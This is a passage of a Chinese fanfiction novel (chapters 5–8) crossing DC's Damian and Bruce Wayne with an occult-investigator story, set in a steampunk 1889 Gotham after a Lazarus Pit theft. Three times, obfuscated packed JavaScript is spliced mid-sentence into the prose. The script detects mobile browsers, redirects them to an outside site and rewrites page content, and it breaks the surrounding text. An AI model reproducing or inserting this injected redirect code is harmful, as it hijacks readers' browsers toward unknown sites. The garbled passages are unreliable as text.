“您是说‘那个’拉撒路池？被刺客联盟视为私有财产、安保严密的那个？” 奥德莉目瞪口呆。 皮斯利教授点点头：“附近还有别的拉撒路池吗？” “刺客联盟显然会认为这是盗窃。” “任何人类都无权对拉撒路池宣称所有权，”皮斯利教授不屑地说。 “如果刺客联盟也赞同您的观点就好了，您可以劝说他们直接分给我一瓶。”奥德莉说。 皮斯利教授哭笑不得地瞪她一眼，奥德莉委屈地说：“教授，我只是个大一学生，给我这样的重任，您不会是打算如果我不幸遇害，正好可以用拉撒路池复活吧？”她想了想，又问： “复活的话，我是不是得重新获得能力和密传？” 皮斯利教授好脾气地递给她一瓶拜占庭染剂：“如果有危险，你可以用它召唤与密大契约的无声亡者，我想你已经对仪式很熟练了，它会带你离开，但是它不会帮你完成任务。如果两周后你还没有完成任务，这次实习会无限延长。” “可是，您不是已经定好我们回程的机票了吗？” 奥德莉震惊。 皮斯利教授神秘地眨眨眼：“我们不会错过飞机的。”看着学生清澈愚蠢的眼神，皮斯利教授安抚道：“你已经学习了一年，完全具备完成本次实习的能力。我相信你。” 奥德莉不知道自家教授的信心从何而来，但她在密大读书一年，感觉得到学校对学生的无比重视，相信他们不会故意派学生送死。 “好吧，”奥德莉无奈答应。“如果我没有回来，您知道去哪里捞我。” 她指的可不是当地警局。 5. 第 5 章 为了能顺利完成实习，奥德莉积极地准备了两个星期，期间经常召唤布莱克。 自从实习开始，她一直跟着教授忙碌，还没有召唤过布莱克。布莱克好像对她这么久没有找自己有点不满，用绿宝石一样的眼睛瞪她，仿佛在说“你是不是有别的猫了”。 但布莱克一贯很好哄。奥德莉早有准备，拿出特意为它买的绿宝石项圈。这是她在某个摊位看见的，第一眼就被风格夸张的宝石吸引，宽幅的弧形颈环由黄金制成，錾刻几何纹理，其上镶嵌六块方形绿宝石，边缘由碎钻点缀。项圈下方还有细细的链条垂成半月形，更具异域风情。 布莱克瞪圆了眼睛，似乎被这件首饰惊呆了，用爪子试探着去摸，然后看看奥德莉，又看看项圈。奥德莉心领神会，轻手轻脚地为它戴上，然后把它捧到镜子前，开始甜言蜜语： “布莱克，你这样子真的是太雍容华贵了，一看就是大户人家的猫猫。” “我一看到这个项圈就想到了你，不过再闪耀的宝石也比不上你的眼睛。” “你的黑色皮毛比金子还耀眼。” 奥德莉的语气浮夸，但布莱克很满意，它对着镜中的影像陶醉了一会儿，扭头用鼻子去拱奥德莉。 奥德莉的准备工作主要是查阅拉撒路池相关地理资料，以及与自己的拖延症作斗争。她觉得无限延长实习这种话是教授在吓唬她，又担心密大真的有时间转换器。除此之外，她其实也没什么可准备的，如果真的被刺客联盟发现，她只能立刻求救——她怎么可能在两周之内提高到能与刺客联盟正面硬抗。 刺客联盟可是全球最恶名昭著的反派组织之一。 布莱克很乖巧地陪着奥德莉。偶尔无聊时，它会在房间里四处溜达，好奇地翻动奥德莉买的那些纪念品。大部分时间里，它只是趴在奥德莉腿上，让她可以一边看书一边撸猫。 奥德莉把头埋进布莱克的软肚皮里，闷声闷气地说：“回程机票是明天的，我不能再拖下去了，今晚我必须行动。” 布莱克拱了她几下，挣脱出来，然后对着奥德莉伸出一只前爪。 “你是想让我加油吗？”奥德莉看着眼前露出粉色肉垫的小黑爪，有点困惑，见猫猫还是很坚持地望着自己，她继续猜下去，“你想祝我好运？” 布莱克挫败地瞪她一眼，猫脸上露出活灵活现的嫌弃，喵了两声，感觉是在说“笨死了”。它思考了一下，然后轻轻一跃，落在奥德莉收拾好的背包上，用嘴巴咬着拉开拉链，然后跳进去，端正地坐在那里。 奥德莉为了晚上的行动，不但准备了行动便利的衣服，还准备了一个背包，装了一些仪式用品以备不时之需。她和布莱克对视了几秒，恍然大悟：“你是想陪我一起去？” 布莱克点头，项圈上的金色细链随之轻轻晃动。 “你真好！”奥德莉激动地抱住布莱克，“谢谢你。我们出发吧。” 一人一猫的潜入行动顺利得不可思议。奥德莉小心翼翼地从山洞的狭窄通道中爬到拉撒路池上方，仔细观察四周，竟然没有看到任何守卫。 落到地面后，奥德莉蹑手蹑脚地走到池边。池水颜色诡异，冒着小泡泡，像巫师熬制的毒药，但没什么奇怪的味道。她警惕地带上厚手套，从包里掏出一个瓶子，小心地盛满池水。 忽然间，灵感一动，奥德莉匆忙将瓶子盖上，丢进背包。她起身看向另一侧，与那里站立的少年四目相对。 少年比她矮一点，皮肤棕黑，容貌俊美，眼神傲慢又淡漠，绿色的眼睛略微狭长，身着样式简单的白棉布袍子，手中握着武士刀。 奥德莉望着那抹熟悉的绿色，脱口而出：“布莱克！你能变成人了？” 这话完全没过脑子，说完她才注意到布莱克正蹲坐在少年的左脚边，粗粗的尾巴在地面用力甩了两下，绿眼睛对着她瞪得圆溜溜的，似乎在说“愚蠢的人类”。 她又看向少年，少年的眼睛和布莱克相似，颜色一模一样，只是没那么圆。他的气质和布莱克其实很不相同，布莱克是一只可爱又傲娇的猫咪，而他是一只充满野性和异域风情的豹子。他有一种目中无人的自信，这种自信源于他自身的实力。他此刻是静止的，但随时可以一击制敌。 “影分身？”奥德莉继续猜测，又被布莱克瞪了一眼，赶忙闭嘴。如果这个人和布莱克没关系，那他就是刺客联盟的人，她绝对打不过一个训练有素的刺客。 奥德莉意识到自己如果再不求救，可能就没机会也没必要求救了。她正准备召唤无声亡者，但眼前一道白光闪过，打断了她的召唤。她看到的最后景象是朝她飞扑而来的少年，同时她感觉手腕被用力地抓住了。 下一刻，她站在昏暗的小巷中，和少年面面相觑。 巷子很暗，路口的立式煤气灯散发着光线，但只能勉强照亮它自己。幸好月光皎洁，奥德莉仗着良好视力环顾四周，发现所在之处又乱又脏。她皱着鼻子，很嫌弃这里的气味。 少年依然紧紧攥着她的手腕，冷冷地问：“你做了什么？” “我什么也没做。刚才发生了什么？这是哪里？”奥德莉想要挣脱，少年却没有松开她，拉着她朝巷口走去。奥德莉无奈，只得跟上他。 四周安静，两人放轻了脚步靠近路灯所在的大路。一辆式样简单的马车缓缓驶过，驾车人穿着维多利亚时期的服饰。 奥德莉看着那辆显然不是现代产物的马车，拼命压下自己的惊呼。她显然已经不在中东，现在更意识到自己可能已经不在二十一世纪了。 奥德莉根据月亮判断现在是凌晨四点左右。十八世纪的劳苦大众很早就起来工作，他们得在被居民发现前快点离开，毕竟他们的服饰打扮和这里格格不入。她尝试召唤布莱克，却得不到任何回应，心里更是慌乱，甚至没注意到少年忽然松开了她。 少年看着眼前的场景，脸上闪过惊讶，但依然很冷静。他感觉到身旁的奥德莉在微微颤抖，不知是因为夜晚的凉风还是因为恐惧。池边初见，他一眼就看出她只是个普通人，也许藏着点秘密或异能，体能也比一般人强些，但并不会体术。 “别担心，我不会丢下你。”少年用尽量温和的语气说。 奥德莉转头看他，非常吃惊。严格意义上说，她是潜入对方组织的窃贼，如果没发生这场穿越，他的武士刀可能已经劈在自己身上了。 她忽然觉得有点安心，可能因为有个同伴总好过独 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293978|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自一人。作为一个现代人，习惯了法治社会带来的安全感，对人性总有一点过于天真的信任。她害怕这个少年，却更害怕这个陌生的时空。 “我叫奥德莉。” “达米安。” “我也不会丢下你，”奥德莉认真地说，她后知后觉地意识到，少年的年龄比自己小，“我会保护你的。” 达米安想说“我不需要你的保护”，但对上奥德莉的双眼，他把这句话咽了回去。 他是最优秀的。他是最强大的。从记事起，母亲就这样告诉他。但父亲似乎并不这样想，不管自己表现得多么好，在紧急关头，他总是会下意识地试图把自己挡在披风下。 达米安决定接受对方的好意，不去反驳。奥德莉误解了他的沉默，补充道：“我可是调查员……实习调查员，我很厉害的。” 这次达米安没有忍住，他“啧”了一声。奥德莉假装自己没有听到。 两人沉默地在阴影中走过几条街道后，达米安笃定地说：“这里是哥谭。有几栋建筑在现代依然留存。” 奥德莉没去过哥谭，但对哥谭的名声有所耳闻。好在他们不在现代，也就是说那些知名反派还不存在，这算是个好消息。不过哥谭的历史她并不了解，不知道哥谭是不是在几百年前就开始民风淳朴、人杰地灵了。 达米安显然对哥谭很熟悉。他带着奥德莉在住宅区穿梭，找到一份被送报人放在门口的报纸。两人在无人处翻阅哥谭公报，报纸给两人提供了不少的信息。 1889年8月12日——“我们真的在十九世纪。” 奥德莉对这个年份很敏感。防剿局的势力在这一年急速扩张，从伦敦总部蔓延到了日不落帝国的诸多殖民地，连北美和澳大利亚这些法外之地他们也不放过。在后续的几十年里，防剿局抓捕了很多人，其中有一些确实是因研习无形之术而邪名昭著的人，但更多的是无辜者。防剿局审判从来不需要真正的证据，捕风捉影就可以罗织罪名。后来防剿局被取缔，密大成立，人类对无形之术的研习也变得越来越学术化。 传说中防剿局有很多手段可以识别出密教教徒，因为研习过无形之术的人，肉/体和精神上总会留下痕迹。奥德莉对此有点紧张，只能祈祷快点回到自己的时代。 报纸头条讲了韦恩庄园举办的舞会又一次在社交界引起轰动，还描述了舞会上的种种细节，比如菜品多么精美，女士们的首饰多么华贵——“韦恩家族真不愧是哥谭的老牌贵族，” 奥德莉虽然是纽约人，但布鲁斯·韦恩天天占据的可不止是哥谭当地报纸的头条，全美谁不知道他的八卦。 著名单身汉布鲁斯·韦恩老爷去孤儿院捐款慰问——“他和哥谭首富重名？或者他是哥谭首富的祖先？” 蝙蝠怪人再次在夜晚出现——“这个世界也有蝙蝠侠？难道他真的是吸血鬼，从这个时代一直活到了现代？” 奥德莉一边翻看一边感慨，达米安偶尔应一声。两人看完后，他把报纸叠好放回原位，带着奥德莉坐上路旁的出租马车：“我们可以去韦恩庄园暂住，我的家族和韦恩家族有些渊源。” “那太好了。我们得赶紧换一身衣服，刚才马车夫看我们的眼神像是看怪人一样。” 6. 第 6 章 面对两位衣着奇特的不速之客，韦恩庄园的管家处变不惊。他替他们付了车费，请他们在客厅稍候，并送上了茶点。 “老爷还在休息。庄园昨晚举行了舞会，客人们凌晨才走。”管家解释道。 “谢谢你，阿尔弗雷德。” 阿尔弗雷德·潘尼沃斯鬓发已白，但身姿挺拔。当未曾谋面的达米安径自叫出他的名字时，他连眉毛都不挑一下，只是微微躬身表示感谢。 在奥德莉坐着睡着之前，布鲁斯·韦恩终于披着晨袍出现。他俊美优雅，又带着不羁浪子的风度。他的长相和现代的布鲁斯·韦恩一模一样，很难相信是遗传的力量。 “平行宇宙，一定是平行宇宙，”奥德莉立刻没了困意，对达米安轻声说。 达米安对此并不惊讶。他对多元宇宙早有了解，在读过报纸后便意识到这个世界和他们的世界有着扭曲的相似。这位布鲁斯多半也是蝙蝠侠。 介绍了两人的名字后，达米安提出要和布鲁斯单独去书房交谈。布鲁斯毫无防备心地答应了，还体贴地对奥德莉说：“奥德莉小姐，你如果觉得无聊的话，阿福可以陪你在花园逛逛。” 到了书房后，达米安开门见山，直接和另一个时空的父亲摊牌。面对这个自称是自己同位体儿子的少年，布鲁斯的反应是瞪大双眼，一副我听不懂你在说什么的样子。 如果蝙蝠侠打定主意要装傻，没人能用言语说服他。达米安几步走到书房一侧的古董落地钟前，打开表盘上的玻璃罩，将时间拨至10点48分。 达米安在赌两个世界的相似程度，他赌赢了。在听见通道开启的齿轮转动声音之前，他已经用余光看见布鲁斯微微颤动却最终没有抬起的手指。 布鲁斯坐在原处，犹如一尊雕像。达米安望着他，指着通道问：“你是否想说，你对这一切毫不知情？” 达米安等了一秒，又说：“你要是再编出一些理由，我就把你绑下去。我正好想参观一下这里的蝙蝠洞，看看和我父亲的有什么不同。” 布鲁斯微微叹气，默认了自己的另一重身份。他起身关闭通道，再次转过身时，他身上轻佻的花花公子气息已经全部消失了，取而代之的是蝙蝠侠的沉重。 达米安很清楚，他相信了自己，但同时完全没有放下戒备——典型的蝙蝠侠行为。 布鲁斯不赞同地说：“你的父亲竟然告诉了你，你还是个孩子。” 达米安不以为然：“我已经十六岁了，精通各式各样的武术和武器使用。十岁之前，我就能砍下一只老虎的脑袋。” 布鲁斯听完，眉头皱的更紧了。他的神情让达米安回忆起自己刚到哥谭的时候，父亲经常因自己要求参与夜巡而露出类似的神色。他不得不为了能做罗宾而答应父亲的诸多要求，比如他明明有多个博士学位的知识水平，白天却不得不去哥谭中学读书，忍受周围智商平庸的同学，以便“了解普通人的生活”。 几年过去，达米安已经理解了父亲的用心，两人也不再三句话一小吵，五句话一大吵。但看到布鲁斯的表情，达米安忍不住想挑衅他一下：“我是蝙蝠披风无可争议的继承者。”他在对着眼前之人说话，也是在对自己的父亲说话。 真是太孝顺了，你的父亲可能还正在当打之年，他知道自己的儿子已经替他考虑得如此长远吗？ 布鲁斯心里这样想，但看见达米安由于自己的严肃表情而变得气呼呼的，他主动换了话题：“奥德莉小姐对我们的身份不知情吧？所以你才要和我单独谈话。” “在穿越前五分钟，我才第一次见到她，”达米安说，“她的身后忽然出现可怖的漩涡，我伸手想拉住她，却被无形的力量一起吸走。然后我们就到了哥谭东区的小巷。” 他省略掉拉撒路池的背景，布鲁斯注意到这一处有意的省略，但并未追问。 “你觉得穿越是她的原因吗？” “那是最大的可能。”达米安说。 “也许是某种魔法，”布鲁斯思索着，“她是魔法师吗？” “她自称是调查员。”达米安说，“我对这个职业有所耳闻，他们通常是修行无形之术之人。不过她看起来没什么经验，可能只是初窥门径。” 布鲁斯对密教也有些了解。他同意达米安对奥德莉的判断，除非她的演技优秀到能骗过蝙蝠侠，否则她就只是一个战斗力比普通人强一些，又因为一直被保护得很好而有点天真的年轻女士。 “她显然并不知道回去的办法，我们需要魔法师的帮助。或许您也认识一位扎坦娜·扎塔拉女士？” “我会立刻联系她，”布鲁斯说。“你觉得扎坦娜就能送你回去，却把奥德莉小姐一起带到了韦恩庄园？” “您不需要试探我，”达米安说，“她也许有点小秘密，但能力不比普通人强多少。我不会把她丢在哥谭东区，更不会把她丢在这个世界。” 这个世界的布鲁斯没有结婚，也没有孩子。他有点怅然地看着达米安：“如果我问你的母亲是谁，是否算是作弊行为？”他第一次开始幻想自己遇到一位心意相通的女士，结婚后一起养育子女的情景。 达米安听懂了他的言下之意。自己这么优秀的孩子，谁会不想要呢。他得意地挑挑眉：“我想我们还是不要扰乱这个世界的秩序比较好。” 回到客厅后，布鲁斯和蔼地对奥德莉说：“达米安说你们来自另一个世界的未来时代，真是不可思议。不要害怕，我会尽力帮助你们的。能用钱解决的事情，对韦恩家来说都不是问题。你们把这里当成自己的家，安心住下吧。” 好熟悉的语气，真不愧是布鲁斯·韦恩。奥德莉默默惊叹。现代的韦恩先生在记者面前就是这种人傻钱多的说话方式。 “谢谢您，韦恩先生。”奥德莉感激他的好心，同时又冒出担忧。达米安家族和韦恩家族大概在另一个世界也很熟悉，所以布鲁斯连她也一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293979|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 并庇护了。可他真的很没有防范心，如果达米安和自己是骗子怎么办。这个世界的蝙蝠侠会不会保护这个柔弱阔佬？ “不用这么客气，叫我布鲁斯。”布鲁斯很随和地说，又叮嘱道：“千万不要让其他人知道时空穿越的事情，对外就说你们是从欧洲来拜访我的。斯宾塞·霍布森探长上个月刚被派到哥谭分部主持事务，听说他是伦敦防剿局的铁腕人士，不惜捕风捉影地构陷也要将他认定的邪名人士送进监狱。” 这个名字太过著名，奥德莉连忙点头应下。后世关于防剿局的记录里，斯宾塞·霍布森被描述为心狠手辣又颇有才干，他善于从风言风语中找到蛛丝马迹，也不吝于伪造证据去抓捕他认定的嫌疑人，据后人的推测，他抓捕的一半囚犯是普通人，另一半里也有许多是人畜无害的无形之术研习者，只有寥寥数人是真的做过邪恶之事的。 布鲁斯又讲起最近的开膛手连环案，一脸担忧地说：“幸好你们安全到达了庄园，夜晚的哥谭最近很不安全。有一个变态杀手在小巷里杀了几位女士，手段残忍至极。” 夜晚的哥谭什么时候安全过？不，应该说无论是白天还是夜晚，哥谭都不是很安全。奥德莉在心里吐槽。 布鲁斯又抱怨了几句，说最近的案子吓到了不少女士，大家举办舞会的热情都降低了，然后打了个哈欠，懒洋洋地说：“我要回去补觉了。有什么需要的就找阿福。” 布鲁斯离开后，阿尔弗雷德也离开去为两人安排客房。 达米安对奥德莉说：“你呆在庄园里。等我找出回去的办法，我会告诉你。” 奥德莉被他理所当然的语气震撼了，过了几秒才反应过来，抗议道：“当然不行，我也要开展调查。” 达米安说：“如果遇上开膛手，你能打得过他吗？” “我或许打不过你，但是我也不是没有自保之力的。” “你的自保之力会引来斯宾塞·霍布森的注意吗？”达米安直接地问。 奥德莉被噎住了，又马上反驳：“那我们就一起调查。”在达米安说话前，她反问道：“遇上开膛手，你能打得过他吗？” “当然。”达米安说。 “我也觉得那种只敢对女人下手的废物，不可能是你的对手。哥谭人民会感谢你为民除害的。”奥德莉已经发现这个少年性格高傲，做事风格直接，像一只容易炸毛的猫，但又很容易被哄好，于是马上吹捧他一句。 达米安露出一个“算你识货”的表情，奥德莉又主动示好，展现合作的诚意：“而且，我现在已经有一条线索了。我愿意无私地与你分享。” 这一次达米安是真的吃惊了，望着奥德莉从背包里拿出一束羊皮卷递给他：“你和布鲁斯去书房的时候，我无事可做，就想整理一下包里的东西。这是上个月我在集市买的纪念品，我确定把它收在住处的行李箱里了，但它却出现在这里。我想，也许它是我们穿越的原因。” 7. 第 7 章 达米安接过羊皮卷。羊皮被处理得非常薄，拿在手里并不觉厚重，但展开后竟有两米左右的长度。 “这个气味，”达米安将羊皮卷铺在桌子上，鼻子凑近，用手轻轻扇动，“为什么它上面有拉撒路池水的味道？” “拉撒路池水有味道吗？”奥德莉也凑过去，“我什么也没闻到。” “是不是你的瓶子洒了？”达米安没有转头，很平淡地问。 奥德莉有点尴尬，她真希望达米安忘了这件事。面对这个“苦主”，她没有勇气说出皮斯利教授的“拉撒路池属于全人类”的理论，达米安的武士刀可是很锋利的，而且他还帮自己避免了在哥谭街头风餐露宿。 “我刚才检查过了，拧得很严。” 她说。 达米安继续仔细查看羊皮卷上的图形文字。奥德莉赶紧把自己的另一个发现告诉他：“我是觉得花纹好看才买的。我买的时候，只有外侧有花纹，里侧是空白的。你能看懂吗？” 达米安说：“我没见过这种文字，它和埃及楔形文字有相似之处，又受到阿拉伯语的影响。我需要研究一阵。” “那你加油，”奥德莉说，“我对神秘学有一些研究，如果你有什么想法，随时找我讨论。”她又强调一句：“我们要一起调查，不能瞒着对方。” “那如果遇到紧急情况，你要听我指挥。”达米安说。 “如果你的指挥合理的话。” “我的指挥一定是合理的。”达米安毫不犹豫地说。 “你不是单打独斗的刺客吗？你指挥过别人吗？”奥德莉吐槽。“而且你还没成年吧，你出过任务吗？” “你对刺客联盟如此无知，为什么敢独自去拉撒路池？”达米安震惊，更加认定奥德莉的性格莽撞冲动。“总之，我的指挥经验很丰富。” “不是在一句话之前加一个‘总之’就能让这句话成真的。” 达米安正想说什么，阿尔弗雷德回来了，他仿佛没注意到两人之间的僵硬气氛，只是说：“我为两位准备了客房，请跟我来。” 奥德莉不知道达米安为何立刻闭上了嘴，也许是因为阿尔弗雷德会让人下意识觉得最好不要惹这位和蔼的老人不高兴。她也没有乘胜追击，见好就收地站起身。两人一左一右，乖巧地跟在阿尔弗雷德身后，来到二楼的客房。 他们的房间分别位于走廊两侧，门斜对着。达米安打开门，又回头对奥德莉说：“我会尽快把它解读出来的。” 奥德莉赶紧保证：“我哪里也不去，就在庄园等你的成果。” 达米安给她一个满意的眼神，进了房间。 奥德莉也进了自己的房间，看到阿尔弗雷德非常体贴地为她准备了款式简洁的裙子，松了口气。华贵的裙子会吸引目光，也会影响行动，这些衣物正适合她的需要。 换好衣服后，奥德莉回到客厅。阿尔弗雷德正在打扫灰尘，她上前说：“阿尔弗雷德先生，有什么我能帮忙的吗？” 阿尔弗雷德对她温和地笑笑：“奥德莉小姐，您是客人，怎么能让您干活呢。如果您无聊的话，可以在庄园随意闲逛。或者，如果您感兴趣的话，老爷的书房藏书颇丰。” 奥德莉很不好意思：“达米安和我住在这里，肯定会增加您的工作量。”说到这里，她又疑惑地问：“除了您之外，我似乎没有看到韦恩庄园的其他服务人员。这么大的庄园，只靠您一个人维护吗？” 阿尔弗雷德解释道：“您的观察是对的，平时我一个人就足以照应，只有举行宴会时会临时雇佣一些侍者。但我的前任确实需要有十几位仆从常驻才能维持庄园的正常运转，这是因为在过去的数十年里，发明创造层出不穷，很多工作都可以由蒸汽机械代劳。比如您房间的浴室，不再需要仆人将热水一桶桶地送上去，而是有连接着热水器的水龙头，将冷水和热水直接送到您的房间。” 奥德莉听着阿尔弗雷德又举出几个例子，意识到这里和她所知的维多利亚时期很不一样。这里的科技树点亮的方向是蒸汽科技，之后飞速发展，虽然主流能源不再是电力，但依然发展出了不输于二十世纪的科技水平。尤其是差分机问世后，这个世界竟然造出了用蒸汽能源驱动的计算机，虽然它很笨重，算力也有限，但人们正在不断地改进它。就像在她的世界里，计算机也经历了从巨大到便携的发展道路。 阿尔弗雷德对奥德莉提出的各种问题耐心解答，不时也会询问她的世界的情况，将两个世界对比着为她做出说明。 “您还留着前几个月的报纸吗？”奥德莉问，“我想对这里多了解一些。” “当然，”阿尔弗雷德为她取来过去六个月的报刊杂志，除了《哥谭公报》、《哥谭环球报》、《哥谭时报》和《哥谭先驱报》之外，韦恩庄园还订阅了《女性大众报》和《温暖家庭》。 “为客人们多一些消遣选择，” 阿尔弗雷德解释道。 奥德莉瞥见一本《温暖家庭》封面的目录摘要写着“韦恩先生最喜欢的三道甜点食谱”，莞尔道：“布鲁斯和韦恩先生一样，一举一动都受到媒体的关注。” 为了区分，她将自己世界未曾真正谋面过的布鲁斯·韦恩称为“韦恩先生”。 阿尔弗雷德顺着她的视线看去，也笑了。 接下来的几天里，布鲁斯每天睡到日上三竿，白天偶尔去公司开会或参加慈善活动，晚上携不同女伴参加舞会。他和报纸上描述的韦恩先生没什么不同，只是更生动。布鲁斯会在老管家要求他必须吃完精心搭配的营养饭菜时小声嘟囔着抗议，会在路过客厅悬挂的油画画像时投去眷恋的一瞥，画像上的托马斯·韦恩和玛莎·韦恩永远年轻，带着温柔的笑意。 达米安废寝忘食地研究羊皮卷，身旁堆满了参考书籍。奥德莉尝试帮忙，达米安丢给她一本古埃及语教材，她很快完成了从入门到放弃的步骤。 阿尔弗雷德定时喊家中几人用餐，下午还准备传统的英式下午茶三层 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293980|167055||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 架。下层是青瓜三明治和火腿三明治，中间层是原味及葡萄干口味的司康，配上草莓果酱和奶油，上层是小甜饼和水果挞。 奥德莉是一个在纽约市皇后区长大的年轻女生，对英国贵族生活的了解主要来自于《唐顿庄园》，她的惯常餐食是三明治、意大利面或沙拉。第一次看到阿尔弗雷德送来的精致下午茶时，她有一种不真实感。 她其实怀疑过，有没有可能不存在什么穿越，这一切都是她在被达米安打死之前大脑幻想出来的？ 但她真的能幻想出这么精致的下午茶吗？ 轻咬了一口小甜饼，奥德莉很确定，这种美味自己以前绝对没吃过。 奥德莉不敢在韦恩庄园施展无形之术，生怕吸引来防剿局的视线。她每天花几个小时看报纸，试图找出一些有用的信息，其它时间就在阿尔弗雷德身边做个小跟班。 似乎是体会到了她的不安，阿尔弗雷德默许了，偶尔请她帮忙做些小事。 她和阿尔弗雷德聊起最近的头条新闻。开膛手连环案引得哥谭人心惶惶，尽管警方积极地想要破案，戈登局长对记者承诺会在各处加派警力，但所有人都明白，哥谭那么多小巷，再多的警力也不够用。 “蝙蝠侠一定会找出凶手的，” 奥德莉带着盲目的信心说，尽管报纸上对于蝙蝠侠的描述都是“古怪”“可怖”等词语，仿佛他比凶手还可怕，更有甚者怀疑他就是凶手。作为蝙蝠侠的粉丝，奥德莉恨不得给报纸投稿，与那些诽谤蝙蝠侠的人隔空对骂。 阿尔弗雷德没想到她对蝙蝠侠的评价这么高。面对这种斗志昂扬的粉丝，他不能反对，否则容易激起逆反心理，只能用冷静的态度去影响她。 奥德莉很快领会。布鲁斯和韦恩先生一样，都对蝙蝠侠持冷嘲热讽的态度，这种情绪大概也影响到了他的管家。 韦恩先生对于蝙蝠侠的这种态度，恰恰就是奥德莉磕蝙布的原因。 对着记者，韦恩先生从来没说过蝙蝠侠什么好话，态度最好的时候也只是说点轻佻的评论，比如他的身材看起来不错。但是钱在哪里，爱就在哪里，他给正义联盟打钱的劲头可做不了假。 当然了，韦恩先生声称这是出于免税的考虑。但正义联盟可不是经过认证的慈善机构，给它捐钱然后申请抵税，国税局能同意吗？韦恩先生找借口之前，为什么不先问问集团的公关部门？当然了，后来韦恩先生又改口，说自己是欣赏正义联盟的超人、神奇女侠、闪电侠、海王……他每次说出的名字都不同，正义联盟有名有姓的人物都被他在不同场合提到过。 蝙蝠侠则是另一个极端，在采访中提到韦恩先生时总是公事公办的态度，将他视为一个普通的赞助者。但早在正义联盟成立之前，他和韦恩先生就有深度的交集——不，这不是一个脖子以下不能描写的比喻，而是客观评价——韦恩先生经常被绑架，蝙蝠侠经常去救他。如果不是因为他一直关注着韦恩先生，他为什么总能及时赶到？ 8. 第 8 章 阿尔弗雷德偶尔会问起异世界的韦恩先生，奥德莉把自己从新闻上看到的讲给他听，关键词是“有钱”、“风流草包”和“柔弱阔佬”。 当奥德莉说到韦恩先生公开赞助正义联盟之后，群众纷纷猜测他的真正目的是为了资助蝙蝠侠时，阿尔弗雷德尚且表情稳定，当她说八卦群众因此认定蝙蝠侠和他早有一腿时，阿尔弗雷德的完美管家笑容出现了一丝裂痕。 啊，这个时代同性恋是不是还被视为违法？奥德莉猛地住口，讷讷地补充：“当然这都是八卦传闻。只是您知道的，韦恩先生一贯花边新闻很多，他又总是对着记者隔空调戏蝙蝠侠，记者难免就会添油加醋一点。其实布鲁斯也不只是调戏蝙蝠侠，他还调戏超人……” 哦不对，超人也是男的。奥德莉紧急消音，但又开始思考起超人算是男人、外星人、还是男外星人这个根本没有答案的问题。氪星人分男女吗？氪星的男女和人类的男女可以划等号吗？如果韦恩先生和超人谈恋爱，是同性恋还是人外恋？如果都人外恋了，性别还重要吗？ 奥德莉思考到死机，最后放弃了。为了阿尔弗雷德的血压着想，她努力地维护韦恩先生异性恋的名声：“韦恩先生虽然还没有结婚，不过他领养了三个儿子，还有个前几年刚被他公开的亲生儿子。” 阿尔弗雷德并没有因此而舒展眉头，可能未婚生子对他来说还是太超前了。奥德莉意识到自己从一个雷区踏进另一个雷区，又一次死机。 布鲁斯啊，如果阿尔弗雷德因为韦恩先生的事迹而对你更加猛烈地催婚，请你原谅我，我真的不是故意坑你的。奥德莉想到过去几天阿尔弗雷德对布鲁斯的英式毒舌，默默在心里祈祷。 达米安的文字破译工作终于有了成果，他下楼去找奥德莉，恰好听见她和阿尔弗雷德的对话，忍不住对布鲁斯幸灾乐祸起来。 迪克·格雷森，蝙蝠侠的第一个养子和第一任罗宾，后来以夜翼之名去布鲁德海文单飞但经常回到韦恩庄园蹭饭。他乐此不疲地给之后的每一任罗宾讲述阿尔弗雷德对父亲的花式催婚，包括那句“就算一只大猩猩能让你回到正常世界，我也愿意把它撮合给你。”父亲在阿尔弗雷德面前总是毫无招架之力，只能通过装乖巧来讨好他。 可惜，“乖巧”完全是在阿尔弗雷德面前恃宠而骄数十年的韦恩老爷自己认为的，他的行为在达米安看来完全就是幼稚得气人。 有一次，阿尔弗雷德发烧了，全家都很惊讶，因为管家侠就像机器人一样功能稳定，同时大家也很担心，因为一贯健康的人生起病来可能会很严重。父亲强迫阿尔弗雷德卧床休息，还不知道从哪里找出一个看起来比阿尔弗雷德的年龄还大的手摇铃，让他有任何需要就摇铃召唤。 “摇一下是喝水，摇两下是吃饭，摇三下……”父亲的眼角虽然有了皱纹，但在阿尔弗雷德面前，他总是忍不住调皮一下。阿尔弗雷德被他气笑了，让他“快点滚出去”。父亲一边往外走，一边小声嘟囔“阿福，你老了之后脾气真是大。”显然他是在报复阿尔弗雷德之前说他“已经老到没办法英年早逝了”。阿福作势要用手摇铃砸他，父亲像灵活的大猫一样溜走了，几个孩子在旁边光明正大地看热闹。痊愈后，阿尔弗雷德把手摇铃放在一个箱子里，和父亲在小学时送给他的圣诞贺卡以及其它珍重的物品在一起。 